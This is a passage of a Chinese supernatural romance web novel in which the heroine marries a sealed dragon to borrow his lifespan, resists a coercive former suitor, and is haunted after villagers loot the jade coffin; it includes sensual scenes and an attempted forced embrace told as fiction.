还有弧度。 我壮着胆子再往别处摸摸。 没有摸到什么人、什么动物…… 倒是不断摸到一些扎手的,似树杈般的硬东西。 我在一片黑暗里不停摩挲,半晌,才恍然大悟! “妈……棺材里的东西,都变成骨头了!” 怎么办啊,总不能和一堆骨头洞房…… 谁知我携着哭腔问完,母亲却扭头走远了。 我一时又慌了起来,着急挽留母亲:“妈!妈你别走,妈,你别抛下我!” 我好害怕,我想出去…… 妈没有心软,走了就没再回来。 我和一堆骨头躺在棺材里,心乱如麻。 不对,妈既然说这棺里有东西,那就肯定有…… 妈才不会把我一个人不明不白地扔在棺里不管! 可他现在,是一堆骨头啊…… 我怎样做,才算是和他成亲? 我焦虑地躺在棺内不知所措,许是棺里本就氧气稀薄,而我又频频大口呼吸的缘故,没多久我就有点呼吸不过来,大脑缺氧,脑壳沉重头晕头痛的感觉。 不行,我还得想办法成亲…… 还得想办法活命! 不能晕,不能、前功尽弃…… 神志愈发不清,浑浑噩噩间,我猛地身子一惊,抓在骨头上的手一抖。 指腹瞬间传来已一丝剧痛。 像是手指头被骨头凹凸不平的尖处划破了。 还有血,溢了出来。 脑子倏地空白。 再回过神,一个温暖的怀抱忽从后拥了过来—— 我霎时浑身汗毛竖立! 不知属于谁的滚烫吐息暧昧扫过我耳根,一只大手贴上我的双腿。 紧接着,我竟有种,自己的双腿化成长尾的错觉…… 心跳加速,快得我几乎喘不上气。 胸膛剧烈起伏着,而那只手,玉指却故意在我的鳞尾上摩挲了起来。 一道男人清澈且诱人的磁性嗓音于耳畔缓缓响起: “风萦,找到你了……” 第9章 你、身上的里衣呢? 风、萦…… 他竟然知道我的名字! 只是,我的脑子好像不中用了。 我明明该害怕的。 可却被他指腹的揉抚,击乱了心弦,散去了理智…… 甚至忘记了自己是谁,自己在哪,此时又该做些什么。 血玉棺似又沉进了阴冷的黄河水中—— 再睁眼,眼前只有浑浊的黄水与昏暗的水下光线。 有人接住我下坠的身子,揽住我的腰。 像之前那九次一样,与我在水下亲近。 只是与先前九次不同的是,这次,我看清他的脸—— 剑眉星目,高挺的鼻梁,轻抿的薄唇。 紫衣墨发,束着龙冠,古人打扮。 凤目紫瞳,眼尾上翘,五官立体精致,脸廓棱角分明,像3D游戏里,神庙中塑得最年轻、最好看的那尊神像。 长眉入鬓,浓墨重彩的眸中万千星辰熠熠,微微拧眉,似神像俯首,观亿万红尘…… 长得,真好看。 天下无双,美若谪仙。 一双墨紫色眸子,幽若古井,深沉冰冷…… 但,在我情不自禁地主动环住他窄腰那一刻后,眼底冰寒渐被沉醉欲色吞噬殆尽。 他情难自抑地低头吻了我。 吻我的那一瞬,他自己都惊了下。 我失去理智,脑中空空的不由自主抬手,捧住他的脸,主动把唇送上去,继续和他接吻…… 他一怔,搂着我的腰惊讶质问:“风萦,你看见了本王,还愿意和本王……结婚、做这种事?” 我昏昏沉沉地伏在他怀里,当做没听见他的问题,牛头不对马嘴地痴痴望着他,傻笑一声:“你、长得真好看。” 他脊背僵得更直了,眼底炙热的欲色还未消尽,听罢这话,性感的喉结滚了下:“风萦,想借本王的寿,你也配,本王……” 我盯着他一张一翕的薄唇,昏了头的索性将一双手臂都缠在了他脖子上,不等他说完就忽然亲了他的薄唇一口。 堵回了他的所有话。 他俊脸一红,顷刻再无声。 我头昏目眩地接着夸他:“你是我、这辈子见过的,最好看的男人……” 男人的呼吸一滞。 他身上像有一股特殊的吸引力,不断诱着我往他怀里攀,往他唇上吻。 没多久,他也无法再冷静了,一把捞过我的腰,恶狠狠地歪头附在我耳畔吓唬道:“风萦,等本王上去,一定杀了你!” 但紧接着,他便开始热情地回应我的吻。 嘴上说着要杀我的狠话,可手却不听使唤地与我十指相扣,掌心相贴。 头上的凤冠他嫌碍事,轻手给我摘了。 身上的嫁衣他嫌麻烦,顺便给我扯了…… 衣物层层剥落,坠入冰冷浑浊的黄河水深处。 他似是很了解我的身体,知道揉我的腰窝我会哼哼。 吻我心口,我会低吟。 分明就在水下,但我的身子却还能感受到热汗漉漉。 温柔的吻,从锁骨一路往下,吻遍身子每一处肌肤。 他占有欲极强地从后抱住我,灵魂交融的那一刹,他收紧箍在我身上双臂。 身子燥热发颤,贴在我耳边的磁性嗓音沙哑低浅:“风萦,做了本王的人,可就没有反悔余地了。” 随后,霸道吻住我的唇,卷着我的舌,在我口中肆无忌惮地攻城略地。 我的指尖在他雪白胸膛上揉出点点殷红。 似瓣瓣桃花,飘落在他莹白雪肤上。 他一贯爱在这种事上贪欢耍赖,这次也不例外。 但随着我们之间的了解渐深,他已不再像半个月前那样鲁莽,横冲直撞了。 一次比一次温柔,懂得如何怜香惜玉。 妈让我听话取悦他,但如今看来,更像是他在学着取悦我…… 尽兴无数次后,他灼热的吻将我从头吻到尾。 哪怕我推着他胸膛,神志不清地喊累,他也没舍得放过我。 意乱情迷间,我竟听他贴着我耳畔,破天荒地深情唤了声:“萦儿……” 最后一次被他强行占有,一道震耳欲聋的骇人惊雷猛劈在黄河水面上! 飓风掀起万重浊浪—— 而下一秒,不等他从混乱中抽身,他的影廓就陡然散发刺目银光。 瞬间化成一条庞大粗壮、浑身披满墨紫鳞甲,鳞片在浑浊水底流光溢彩,额生两角,蛇身鱼尾,且有四只锋利五爪的……巨龙! 巨龙嘶声咆哮着一飞冲天,冲出泥沙浑黄的黄河水面,于狂风暴雨电闪雷鸣下肆意翱翔,尽情吼啸—— 我怔怔仰头,瞧着水面上这壮观的一幕,视线渐渐模糊…… 片刻,整个人都失重地往黄河深处坠下去。 后来,那个怀抱及时接住了我。 男人的手轻轻搭在我脸颊上,沙哑喉音微颤:“本王,自由了……风萦!本王自由了!” 缓了缓,又忽想起了些什么,迅速收回抚在我脸上的大手,冷了语气: “本王同你说这些做什么,本王怎能忘记了,你是个、没有心的女人。风萦,你的噩梦,就要来了。” 噩梦…… 今晚的确做了个噩梦。 被一条龙纠缠了整整一夜,身子疼,腰更疼。 我,这是借寿成功了吗? 我和、一条龙睡了…… 不过,没多大事,我只是来借个寿。 和一条陌生龙睡一夜,大不了等我睡醒就翻出棺材不认人。 反正我们之间没有感情,我虽说嫁给了他,成了他名义上的老婆,但我不是必须要和他天天在一起,夜夜睡一起。 我们完全可以当做没这回事,井水不犯河水,顶多以后在择偶再婚配方面有点小麻烦…… 不过,我这辈子是不打算再嫁人了。 他是龙仙,他寿数长,等我哪天寿终正寝了,我们之间的姻缘就消散作废了。 所以,这些都是小问题。 何况,这一整夜,他又不吃亏…… 心里是这么想的,事实上我也的确这么做了! 次日清早,我推开血玉棺的棺盖,手忙脚乱捞起棺中凌乱的衣衫,成套的嫁衣只随手捡了两件外袍披在身上,没敢看清棺里的东西就着急忙慌翻出玉棺跑路了—— 进家门前,我尴尬不已地拢好身上火红嫁衣,勒好龙鳞纹金边腰带。 抬手撩开鬓角乱发别在耳后,尽量让自己看起来不那么狼狈…… 把自己收拾齐整后,我才走到院门前,伸手准备推门进去。 “妈……” 谁知手掌刚贴上院门木板,门就被人从里用力拉开了。 我昂头,却撞上蛟仙江墨川那双爬满血丝,忧心忡忡的眼眸—— 我一怔,看见他的这一刻,整个人都不好了! 不过,等我回过神才发现,蛟仙今天的装扮和以往不一样了。 从前他都是穿着一身墨色古代宽袖长袍子,束银冠,货真价实的古人打扮。 今天的他,身上穿的却是一袭朴素简单、类似于道袍的仿古风墨色长衣。 束发也没用那顶一看就很贵气的银蛟冠,头上仅插了一根枯黄的竹簪。 看来,他为了风柔,已经决定要以凡人的身份和风柔一同生活在槐荫村了。 呵,说来可笑,从前我不止一次请求他在槐荫村现身,这样我就能光明正大地和他一起散步,一起逛街,一起聊天了。 不然,我总是对着空气说话,村里那几位心好的婶子总怀疑我脑子有问题。 再说,我们以后是要结婚的,我难不成要一辈子和一个其他人都看不见的老公生活? 那多不方便啊。 可他是怎么反驳我的?他说人妖殊途,各有各的道,我不应该那样爱慕虚荣。 让他现身,被别人知道他的身份,就是爱慕虚荣了? 他是会法力的仙家不假,听起来确实像我高攀了他。 但称呼再高大上,也掩盖不了仙家本是妖的事实。 我还没嫌他动物仙的身份拿不出手,他倒先嫌我爱慕虚荣了。 然,现在呢,为了能方便给风柔撑腰,他主动现了身。 真没想到,他喜欢风柔到这种地步。 大清早就撞见他,真是晦气。 我拧眉嫌恶地推开他:“别挡道!” 谁知他竟顺手攥住了我的腕,眼底的忧忡霎时被怒意取缔,冷脸理直气壮地质问我:“你又骗我!” 我错愕对上他怒意腾腾阴森恐怖的红蓝异瞳,“我骗你什么了?!” 蛟仙发疯的一把将我拽进院子,往院内走进几步,拂袖就用强悍的法力将院门哐的一声摔关了上。 “你说本尊若不娶你,你就活不过二月二当晚!可现在你不是还好好活着吗?柔儿说得对,你就是故意撒谎妄想博得本尊的关注!” 又是风柔…… 我听罢不禁冷笑,挥臂甩开他的手,懒得再忍他了,开口就怼: “你算什么东西,你的关注是什么值钱玩意吗? 是,我现在的确还活得好好的,我也没有骗你,我是真的需要在二十二岁二月二当晚和仙家结婚借仙家的寿,不然我就会死。 可你不是没有回来娶我吗?我有那么蠢吗,明知道你不会回来,还死心眼等着你。 江墨川,你不借我阳寿,有的是仙家借!天底下仙家那么多,我又不是非你不可。” 他愣了下,目光躲闪,拂袖负在腰后,冠冕堂皇解释道: “昨晚、本尊不是赶回来了么!虽然错过了时辰,可本尊回来时,你已经不在家里了,本尊找了你一夜……” 想了想,他惊慌一顿,再次抓住我的胳膊双眸浸血地着急逼问: “你刚才那话是什么意思?除了本尊,你还能嫁给谁!” 我咬牙忍着怒火,将他抓在我胳膊上的那只骨节青白的手,五指一根一根掰开,再厌恶地甩开。 盯着他的眼睛,一字一句道:“我已经找到仙家借寿了,江墨川,从今以后你没用了,也别再想用借寿威胁我了,我不怕你了!” 蛟仙那张本就天生自带疏冷矜贵气质的俊逸容颜霎时一白,眸光冷厉的暴怒反驳: “不可能!你死皮赖脸追在本尊身后这四年,恨不得日日使尽浑身解数讨好本尊,撵都撵不走! 本尊是你一眼便相中,一见钟情的男人,本尊是你坚定不移选择的伴侣。 半个月前,你还求着本尊陪你一起去集上选红布裁嫁衣,你怎么可能会嫁给别的仙家! 风萦,开玩笑,得有个度!” 我揉了揉被他抓疼的胳膊,冷冷呛道: “你也知道你是我选择的伴侣?你也知道这四年我使尽浑身解数地对你好? 可结果呢,你还是在我最需要你的时候给了我最狠痛的一击。 江墨川,我从前就提醒过你,我不喜欢别人拿我的小命开玩笑。 我还是那句话,你不借,有的是其他仙家愿意借。” “绝不可能,风萦,你就别骗本尊了! 这黄河边上方圆百里,也就只有我们这九个仙家,除了本尊,剩下八个,谁稀罕娶你?!” 蛟仙不要脸地皱紧眉头走近我一步,自以为是的臭美道: “风萦,你莫不是昨晚没等到本尊伤心难过跑出去淋了一夜的雨,不好意思告诉本尊实情,才故意编出这些瞎话意图刺激本尊吧! 算了,既然你已经回来了,连嫁衣都穿好了。 看在你对本尊还算用情至深的份上,本尊就不计较你欺骗本尊、用生死道德绑架本尊娶你一事了。 二月二既是你四年前就挑好的吉日,虽说被你自己给错过了,但本尊好歹享用了你四年精血供养,本尊并非无情无义之人。 昨晚错过的婚礼,本尊今日便给你补上。 不过,这样也好,以后我们过婚礼纪念日,你就能和柔儿错开。 柔儿生性缺少安全感,特殊意义的节日本尊是必须要陪在她身畔的。 若和你同一日成婚,来年难免要委屈你……” 他自顾自说得还挺像一回事,我深呼吸,不禁被气笑出声。 凝视着他那双曾让我痴迷不已的疏冷红蓝异瞳,不耐烦地打断: “江墨川你够了!我再说一遍我已经找到仙家借寿了,而且从今天开始,我也不会再用精血供养你了,二女侍一夫的美梦你就别想了,好自为之吧!” 他眼底好不容易褪去的几分阴寒顿时又凝了出来,恶狠狠地盯着我恐吓: “风萦!本尊不喜欢一而再再而三撒谎的女人!本尊不就是昨晚没有按时回来同你拜天地吗?本尊又不是不娶你! 你什么时候才能像柔儿一样善解人意?本尊昨晚误了时辰没娶你,你又没死,矫情什么! 本尊的耐心是有限度的,你若再这么无理取闹,就一辈子都别想让本尊娶你!” “巧了!” 我猛吞了口凉气盯着他的眼睛镇静说出实情: “你没按时回来,我也压根就没等你! 你说我用自己的生死道德绑架你?那你可真是抬举自己了,要不是走投无路,我会发疯割肉流血喂养你四年? 要不是为了活命,我头两年会每七天放一碗血吊你的命? 为了救你,我那两年硬是把自己折腾得半死不活。 你不会真以为你只是长了一张相比于村里青年稍微好看两三分的脸,就值得我拿命去救你吧!” “可你没死。” 他挑眉,冰冷刺骨的字眼从牙缝里挤出来,攥紧双拳笃定道: “更何况,借寿给你,需要与你之间有很紧密的因果联系,他们八个就算愿意娶你,你从四年前开始就选了我,特意把我放出来捆绑在身边,与我建立因果。 每隔三日除了要以血供养他们,和他们根本没有任何交集,以他们现在的本事,根本无法借寿给你!” 不依不饶地再度拉住我手,蛟仙压着怒意皱眉耐心说: “风萦,有些事你不愿意承认就算了,本尊可以不同你计较! 本尊没时间管你到底是怎么活到今天的,柔儿那边还需要本尊,本尊找了你一夜,昨晚又是刮风下雨又是打雷闪电,柔儿肯定早就吓坏了。 本尊还要赶时间去守着柔儿,你少折腾,我们现在就拜堂,速战速决!” 说完,强势地要拽我去堂屋拜天地。 我用尽全力的挣扎反抗,死活不走,气急大吼: “江墨川你放开我!谁要和你拜堂,你做什么白日梦呢!放开我!” 江墨川也卯足了力气使劲拽我,冷着脸讥讽: “欲擒故纵?风萦,本尊讨厌同本尊耍心机的女人! 现在你已经没有选择了,是你主动招惹本尊的,结不结婚,借不借寿,决定权在本尊手里! 本尊允你闹一次脾气,但拜完堂后,你得乖乖听本尊的话给本尊老实下来! 对柔儿也要恭敬些,再敢欺负柔儿,就别怪我不给你阳寿了!” 他的手将我腕部勒得阵阵剧痛,指力加重,像是恨不得捏碎我的腕骨。 我被他拽的鞋底在地面往前滑行,又急又气的着急嘶喊道: “江墨川,我已经嫁给别的仙家了!黄河边上没有其他仙家,不代表黄河下没有! 我妈能从外面将你们九个收集起来背回家,就有法子再给我找个别的仙家!” 他拽我进堂屋的步伐一顿,我趁机添油加醋: “我看你也不是很喜欢风柔,你如果真爱她,又怎么会逼她和别的女人共侍一夫! 没有女人想和别人分享男人,哪怕这个人是她亲妹妹,也不行!” 蛟仙迟疑了两秒,但很快,继续拖着我往屋里走。 没有感情的沉沉开口说: “柔儿不像你,小肚鸡肠,没有容人之量!我娶柔儿,单纯是为了保护她。 风萦,你不必这么嫉妒柔儿,我承了你四年精血供养,答应过娶你,肯定不会食言,这也是我欠你的。 柔儿说过,她不在意这些。柔儿现在想要的,只是个依靠。 何况百年前的人间,堂姊妹共嫁一夫并不是稀奇事。 柔儿身体不好,嫁给本尊,本尊和她不会有孩子,这一点你尽管放心,本尊娶了你,必不会让你在这些事上吃亏。” 眼见着我就要被他拽进堂屋强压着和我拜堂了,我气急攻心,脑子一热,低头就一口咬在了他的手背上! 他吃痛惊叫一声,下意识放开了我的手腕。 我扭头要跑,但一步还没迈出去,人就被蛟仙从后死死抱了住—— “放开我!”我惊恐万分地胡乱在他怀里挣扎,用胳膊肘撞他,用鞋跟踩他脚面。 可哪怕我使出了吃奶的力气去攻击他,对他来说,也只像是在给他挠痒痒。 凡人和仙家的实力差距,还是太大了。 “放开我!”我恼火地叫哑了嗓子。 “风萦,本尊知道你还在生本尊的气,气本尊昨晚没有按时回来娶你,昨晚柔儿太没有安全感,本尊怕回来早了,她会哭。” “风萦,不就是晚几个时辰拜堂成亲吗?你怎么这样不懂事!还拿已经嫁给了别的仙家这种话来气我,风萦,你别太任性。” “听话,今天这堂,你拜也得拜,不拜也得拜!从现在开始,本尊已经是你夫君了……欠你的,本尊婚后,会补偿给你。” 我要你大爷的补偿! 他不要脸地强行扳过我身子,让我与他面对面,二话没说就要低头来亲我…… 我头皮发麻被气到身子发抖,喘息急促,不管不顾地疯狂挥舞双手挣扎反抗不许他接近:“江墨川,你给我滚!滚啊!” 他猩红着眼眶用力把我往他胸膛上按,哪怕被我抓伤脖子与下颌,也还要厚颜无耻地低头亲我—— “风萦,拜完堂,本尊一定要好好教教你,如何伺候夫君!” “去死吧你!”我胡乱拔下头上一枚簪尾尖锐的金簪,挥手就狠心朝他肩头刺下。 谁知簪尾没入他的肩上血肉后,非但没能逼他放开我,反而还激起了他的胜负欲—— 他大口喘息着无视插在身体内的那根金簪,甚至还主动环住我的腰把我身子猛地往怀里一带,让我手里的簪子再嵌深几分…… 顷刻温热的血液就濡湿了我的手掌下端! “疯子!我已经嫁给别的仙家了!我嫁的那位仙家比你厉害多了!江墨川,你敢动我他会杀了你的!” “风萦……不许再说嫁给别人这种话,你只能是本尊的!” 说完,他竟然厚颜无耻地开始解我腰带,扒我身上嫁衣…… 我顿时怕得脑中混乱,双手冰凉,指尖泛白。 又挠又拽地拼命推开他的咸猪手…… 他被我的再三拒绝恼红了眼眸,盯着我狠声威胁:“风萦,别逼我对你用法术!” 我脊骨窜电般一麻,蚀骨阴寒直斥心脏。 可诡异的是,下一秒,我胸前被扯乱的衣襟竟然主动滑下了肩头…… 交领衣襟的右领正好卡在了胸口上方。 该遮的,都遮住了。 该露的,也都露完了…… 我肩头与锁骨处的团团红痕清晰落进了他的眼里,他顿时面如死灰,脸色苍白的骇人。 如遭雷击般僵愣住,猩红双眼只死死盯着我身上的暧昧痕迹。 我慌手慌脚地拽起衣襟拢好嫁衣,惊魂未定。 两条手臂忽被他紧张激动地握住,他难以置信地颤声问我:“你……身上的里衣呢?” 第10章 血玉棺里的东西真出来了 我猛咽了口口水。 总不能告诉他,没穿,扔棺里了吧! 烦躁地推开他,我皱眉攥着领口,保持冷静道: “你都看见了,现在总相信我说的都是真的了吧!” “是谁!” 他这才猛地想起我刚才的话,失魂落魄地喃喃重复: “黄河底下的仙家,黄河底下……压着的都不是等闲之辈。 风萦,你怎么能如此胡闹!为了和我赌气,你真把自己给了黄河底下那些怪物了?!” 看他肉眼可见的害怕了,我呼吸急促地努力平复心口暴跳:“江墨川,我很后悔,当年选了你。” 他身影猛地一震。 “不行,风萦,你不能和那些东西扯上关系,跟本尊走!” 他像个狗皮膏药似的又来拉扯我,但,没等他指尖碰到我手腕,我的腕上就红光一晃,凭空出现了一条红色手绳! 同一时间,院门外传来女孩的吃痛哎呀声。 江墨川瞬间就辨认出那是风柔的声音,顾不上再来纠缠我,一道黑雾便穿门跑了出去。 不久,我就听见紧闭的院门外响起男人的心疼责备声、女孩的柔弱诉苦声—— “疼不疼?怎么这样不小心,回头我就把这两块破石头给砸了!” “墨川哥哥,呜呜我是不是很没用……我想来看看小萦,想向小萦道歉,谁知道还没进门就摔了。” “不怪你,怪这道院门!家里又没有什么值钱东西,要什么院门!我这就把它卸了!” 这神经病,动不了我就想砸我家院门! 我都想好了,只要他敢砸我家院门,我就直奔大伯大娘家,把他家房门全砸了。 睚眦必报这一块,我最熟了! 幸好风柔还存点理智,拦住了那条渣蛟: “别了,墨川哥哥,我本来就是来看小萦的,小萦气还没消,我怎么能再让墨川哥哥为了我,砸小萦的家门。” “别管她,柔儿,你不用对她心存愧疚,娶你是我的决定,与你没有任何关系。 再说,你的身子都被她害得受了损,现在她让让你,是理所应当!” 我让让她,理所应当? 可是从小到大,因为这份愧疚,我已经让了她很多次了。 小时候她把村西边刘家小孙女推下黄河,刘家那小姑娘差点被淹死。 刘家人找来的时候,是我给她顶的罪。 大伯当着刘家人的面,狠狠抽了我一百鞭子,才消了老刘家的气。 六年前村里祭祀水神娘娘,她失手打碎全村集资定制的一只紫水晶香炉。 也是我,替她在镇水楼连跪一个月,双腿都跪出了风湿。 再往后,她多少次打着我的名义在外面乱说话,让我在毫不知情的状况下替她背了无数口黑锅。 每次我都想着她或许是生性单纯一根筋,脑子里没有那么多弯弯绕绕,所以才总会在外面无心说错话…… 但她找江墨川要我的龙鳞,却让我不得不开始怀疑,她从前的单纯人设会不会,都是假象。 她幼时被寒风伤了身体,的确和我有关系,可再多的债,这十来年也该还完了。 我整理好衣裳,目光落在腕上瞬间出现的红绳上…… 奇怪,这是什么? 我想把东西从腕上解掉,可却发现,越扯,那绳子收得越紧! 没多久,红绳便将我腕口勒出一道火辣辣的醒目红痕。 再扯,恐怕红绳要勒进皮肉了。 直觉告诉我,这条红绳极有可能……和血玉棺里的东西有关! 难道,是那东西缠上我了?! 也对,本就是我主动招惹了那东西,是我趁他被封印翻他的棺材借他的寿。 他跑来缠我,太正常了。 妈从前不止一遍告诉我,这世间因果循环,种下什么因就会结出什么果。 因果是这世上最公平,也是最斤斤计较的东西。 就像我用自己的血喂养江墨川四年,江墨川就得借寿给我。 这是他欠我的果。 而他不愿借寿偿果,来日迟早会以另一种方式,还我的债。 可现在我去找棺里的东西强行借寿也是因,那东西来找我索要果也是应该…… 只要他别拿走我的小命,这个恩,我可以不惜代价地去还! 也不知道他现在有没有跟在我身边,不知道我怎样才能见到他…… 只有见了面,我们才好商量怎么还不是? 不过,一想到可能有个来路不明的凶煞东西跟在我身后…… 我就身上起鸡皮疙瘩,心里毛毛的! 没再扯腕上的红绳后,那条红绳慢慢松了开,恢复了一开始不松不紧的状态。 看来还是位有原则的仙家,只要我不犯他,他就不会伤害我。 我心神不宁地进了堂屋,正堂上摆着的仙家牌位一见我就止不住的哐当晃动。 可能是看见我没死,恼羞成怒,失望了。 我没搭理他们的异动,从桌边放着的香盒里取出三炷香,点燃,插进仙家牌位前的香炉里。 上完香转身要走,一只泛着白光的大白狐狸忽然从牌位里飘了出来,声音打着颤问: “小萦,你把什么东西带回来了!” 我一愣。 下一秒寒意顺着血液窜遍全身! 我身后果然有东西…… “什么东西,在哪?”我慌乱转身追问。 胡玉衡一双风情万种的吊梢狐狸眼死死盯着我背后,红瞳凛冽,下意识呲牙做攻击状…… 这反应看得我心跳急速,背上又麻又凉,如坠冰窟! 我迫切想知道自己昨晚招惹的究竟是什么东西,但不等我再问,胡玉衡倏然收了锋利犬牙,两只狐耳往脑后一压,揣着爪子一改方才警惕姿态,乖巧软萌地蹲坐在牌位上方的虚空中。 不好意思地低头闷咳:“那个、我看错了,小萦你忙去吧。” 桌上本不安分的余下几尊牌位也顷刻老实了下来。 四周恢复宁静,我捂着胸膛猛松一口气。 擦去额角冷汗无奈低喃:“真是人吓人,吓死人啊!” 那东西没跟着我,也不知道昨晚我那么一闹,有没有把他从玉棺里放出来。 这几天村里家家户户都被黄河选玉女的事给折腾得头晕眼花,不少年轻女孩为了活命,都在父母的安排下草草嫁了人。 没有婚礼,也不办席,最多穿件红裙子和新郎一起给双方父母磕个头。 村头看风水的王先生说,黄河收玉女一事虽然没有先例,但是按照从前东海收宫女的规则来看,村里最危险的群体是十二岁以上的未婚女孩。 十二岁以上的未婚姑娘称玉女,十二岁以下则是童女。 那晚的女尸曾在大家梦里明确说过,黄河要的是玉女。 王先生还给村里人出了个主意,让家中有十二岁以下童女的村民们找自己领一枚古代陪葬铜钱,说陪葬铜钱的阴气能压住女童身上的灵气,让河底下的东西看不见女童。 至于十二岁以上的女孩们,由于人过了十二岁身上的灵气会减少,浊气增多,用陪葬铜钱非但不能避开那些东西的眼睛,反而还会暴露她们的存在。 而且河下的女尸点名要玉女,肯定是了解过村里的情况,女孩们躲是躲不掉的,只能在二月初五到来前,帮女孩们都牵上姻缘线,点上龙凤烛。 可这样一来,又出现了另一个新问题。 那就是村里女孩多,适婚的男孩们却没有几个。 总不能真让一个男孩娶两个女孩。 但王先生说,当务之急是要先找个男人婚配,把河下的东西给哄骗过去。 至于嫁给谁,都是无所谓的,毕竟现在这个时代只要不领结婚证,就不算真嫁过人。 就算领了结婚证还可以再离,婚姻自由,找个男人也就是为了替女孩们挡灾的。 于是村里就发生了极可笑的一幕——连村里死了老婆儿子的秃头鳏夫都成了抢手货,被好几家有闺女的低声下气求着给自家做女婿! 明明杨道长都已经通知过村长,让大家不要慌,先按兵不动等他回来处理。 可生死关头,村里人人自危,还是纷纷选择用王先生这个更稳妥的法子。 但,邻居们的选择我也能理解,毕竟与没命相比,自家女儿成了二婚女又算什么。 只是让我放心不下的是…… 如果杨道长没能摆平这回事,黄河要玉女没要着,会轻易善罢甘休吗。 傍晚,我蹲在院门外的菜地里给大白菜浇水。 忽然听见前头小路上有中年男人压低嗓音激动道:“我就说里面有好东西吧!这可都是天然玉石,拿去省城卖,一块轻轻松松几十万!” 玉石?几十万的玉石? 确实是好东西。 又有男人接上: “鸽子蛋大的珍珠,我这辈子头一次见!还有这只,像不像夜明珠? 发达了,老刘,咱俩要发达了!不过你说这东西,会不会真像他们说的,不干净,容易招来血光之灾啊? 村长上午还三令五申不许咱们碰那东西,说是等晚上烧点纸,再喊人把它推回黄河。” “怕什么啊!这黄河里的东西哪一样是干净的? 咱们以前又不是没捞过,也没见哪次招来过血光之灾啊! 村长就是被最近黄河收玉女的事吓破了胆,有句话怎么说得来着,撑死胆大的,饿死胆小的! 他们不敢拿这些玩意,咱们拿,活该咱们发财。 再说,村长不许人打开那东西,咱们啊,是偷偷开,偷偷拿的,村长也不知道里面有什么,更不知道咱们拿了什么。 你啊,就别想那么多了,明天我就开三轮载着你,咱们进城去!” “说得也对,只是那副血玉棺材的确挺渗人的,看着那么气派,怎么打开后只有陪葬品不见别的东西呢,连尸骨都没见一根。 哎老沈,你说咱们明天进城,能告诉别人这是陪葬品吗?要是说了是从棺材里拿出来的东西,他们会不会压价啊!” 血玉棺…… 陪葬品! 我手里的水瓢砰一声掉在了菜地里,顿时心跳如鼓,如遭雷击! 毛骨悚然的惊喃道: “他们开了血玉棺……那东西,真出来了!” 第11章 本王、允你放肆一次 拎着水桶魂不守舍地回家。 刚把水桶放在院子水井边,就听见堂屋里的仙家们又开始咣当了。 看来我没死的真相对他们的打击委实有些大,以至于看见我一次,就气到抽搐一回。 简单做了顿晚饭,我提心吊胆地吃完就洗洗睡了。 夜晚的槐荫村静得出奇,时间刚过七点半,我就听见外面起了风,黄河浊浪翻滚撞击着河岸,拍打在泥滩上。 现在才农历二月,去年是个暖冬,大半个月前黄河就已经化了冰,涨了水。 这会子虽正值桃花汛阶段,可往年桃花汛时期河面就算起浪,也不像现在这样波涛汹涌。 黄河吞人事件更是多发于夏季六七月份。 今年的黄河边,注定是个多事之地。 不过,我现在更担心的还是血玉棺里的东西…… 傍晚那两位大叔说,棺里只有陪葬品不见别的东西。 那东西肯定已经跑出来了。 说不准现在,就在我家,在我这间屋子里…… 越想越害怕,我紧闭双眼躺在床上,双手揪住被子,下意识绷紧身体。 而人在害怕的时候,总会产生些雪上加霜的错觉…… 就比如我现在,总觉得身边凉飕飕的。 似有一股无形的寒气从四面八方逼压而来—— 我越躺越觉得心神不宁,咬咬牙,满头大汗地从床上猛坐起身。 伸手按了下床头的开关,把屋里电灯打开。 有了光,就不害怕了…… 今晚就开灯睡吧! 我猛喘两口粗气,抬胳膊用袖子擦了擦额头上被自己乱想吓出来的冷汗。 仗着屋里有光,不会有什么坏东西藏在黑暗中突然冲出来吓唬我,僵着身子直挺挺地往后一倒,再次闭上眼睛安心睡觉。 这次,我终于能卸下防备踏实进入梦乡了…… 但,不知过了多久。 半梦半醒间,我听见黄河的水浪在疯狂撞击着河边巨石。 浑水哗哗啦啦的翻涌声恍若近在咫尺…… 迷迷糊糊地睁眼。 屋里的电灯竟不知道什么时候灭了! 窗外像有月光洒进来。 屋子里光线昏暗,但有稀疏几缕寒光。 能勉强看清床帐被不知从哪里透进来的风吹得此起彼伏…… 看清屋里桌椅的大致轮廓。 是停电了吗? 槐荫村地处黄河边,偏远又人少,村子的基础设施还不完善。 停电是常有的事。 我想坐起来再按一下开关,确认是不是真停电了。 可我的身体似乎没有知觉了! 我无法控制自己从床上坐起来,甚至连动一下手指头都做不到。 我这是、全身不遂了?! 好在,头还能动,脖子还能扭…… 我惊慌失措地扭头往床内侧看去—— 却发现,自己的床里侧,睡了一具……纸人! 纸人被画上了一双瞪大的黑溜溜眼睛,蓝鼻子红嘴唇,嘴角上扬起一个瘆人恐怖的弧度。 身上穿着几十年前的中式盘扣蓝色大褂,下身还是一件红色长衫。 红蓝配色在漆黑的夜晚里,显得格外诡异吓人! 我顿时脑中轰的一声炸开,被吓得额上渗出一层密密冷汗,汗珠沿着额角疯狂往下滚。 心脏快要跳上嗓门眼,我干张着嘴,瞪大双眼想要呼叫,嗓门却仿佛被塞了团棉花,半点声音都发不出。 鬼压床,是鬼压床! 我怕到浑身都在不受控的颤抖,背后凉津津的一片—— 更让我绝望的是,我又无意瞧见,纸人的脖子,被人砍掉了! 鲜血顺着纸人脖子上切口的那条缝,咕噜咕噜,冒出来……濡湿我的床单。 也就几秒种的功夫,我整个人都躺在了腥臭的血泊中…… 我僵着脖子痛苦地扭回头,看屋顶,额角汗如雨下。 是梦,一定是梦! 不要怕,闭上眼睛再睡一觉,醒来后就什么都消失了! 我疯狂自我安慰洗脑,但,安静了大约半分钟后。 躺在我身侧的纸人突然翻身压在了我身上! 漆黑圆眼正对着我的眼…… “啊——” 我发了疯的害怕尖叫,终于能发出声音的同时,身体的掌控权也回来了! 惊恐至极的一把推开身上压着的之人,我失重从床上摔下去,连滚带爬的直奔房门而去—— “救命!” 谁知拉开房门,门外竟是一堵红砖墙! 红砖墙死死封着房门,根本没有出口! 是鬼打墙! 我不死心地扭头就往窗户那头跑。 拉开窗户,上一秒还透进月光的窗子,下一秒竟然也被一堵红砖墙封住了! 我怕到双手哆嗦,呼吸急促,走投无路的只能拼命拍打着红砖墙企图找条生路。 “放我出去,胡玉衡,胡玉衡救我!妈——” 只是任凭我如何撕心裂肺的呼唤,都没人回应我的求救…… 我崩溃的不顾掌心已经拍得血红,执拗地使劲在红砖墙上拍打。 没多久,红砖墙上就留下了我一道又一道的血手印。 “妈,妈!救我,胡玉衡……救我,爸……” 